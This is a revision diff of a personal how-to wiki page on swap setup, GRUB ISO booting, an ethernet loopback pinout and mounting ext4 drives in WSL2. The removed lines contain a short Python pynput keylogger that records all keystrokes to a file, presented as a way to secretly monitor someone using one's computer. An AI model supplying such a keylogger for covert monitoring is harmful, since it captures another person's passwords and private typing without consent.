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--- howtos [2023-05-13 00:27] – [Booting GRUB from an ISO image] asdf
+++ howtos [2024-03-10 00:10] (current) – [Add Linux swap space] asdf
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 To have the swap automount on boot, add the following to ''/etc/fstab'':
-<file>
+<code>
 /swapfile swap swap defaults 0 0
-</file>
+</code>
 ===== Boot an ISO from GRUB =====
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 Note that the [[GreatFET]] has Facedancer capabilities, so it should be possible to use it to emulate a mass storage device with the ISO as the source and boot that instead.
-===== Log keys in Python =====
+===== Make an ethernet loopback connector =====
-Let's say you need to hand your computer over to someone you don't fully trust and want to check on their usage afterward. Requires the [[https://pypi.org/project/pynput/|pynput]] package.
+This trick works with either a socket or a plug. Connect the following pins:
-<code python>
+  * 1 <-> 3
-from pynput.keyboard import Key, Listener
+  * 2 <-> 6
-import logging
+  * 4 <-> 7
+  * 5 <-> 8
-logging.basicConfig(filename=("keylog.txt"), level=logging.DEBUG, format=" %(asctime)s - %(message)s")
+===== Mount an ext4 drive in WSL2 =====
+Open a PowerShell window as an administrator, then run the following command to list available disk drives:
-def on_press(key):
+<code powershell>
-    logging.info(str(key))
+GET-CimInstance -query "SELECT * from Win32_DiskDrive"
-with Listener(on_press=on_press) as listener:
-    listener.join()
 </code>
+Locate the desired entry, then attach it to the WSL instance:
+<code powershell>
+wsl --mount \\.\PHYSICALDRIVE2
+</code>
+Finally, locate and mount the disk within the WSL instance.
+https://learn.microsoft.com/en-us/windows/wsl/wsl2-mount-disk
 ===== Fake a document scan =====
 ===== Create a reverse SSH connection =====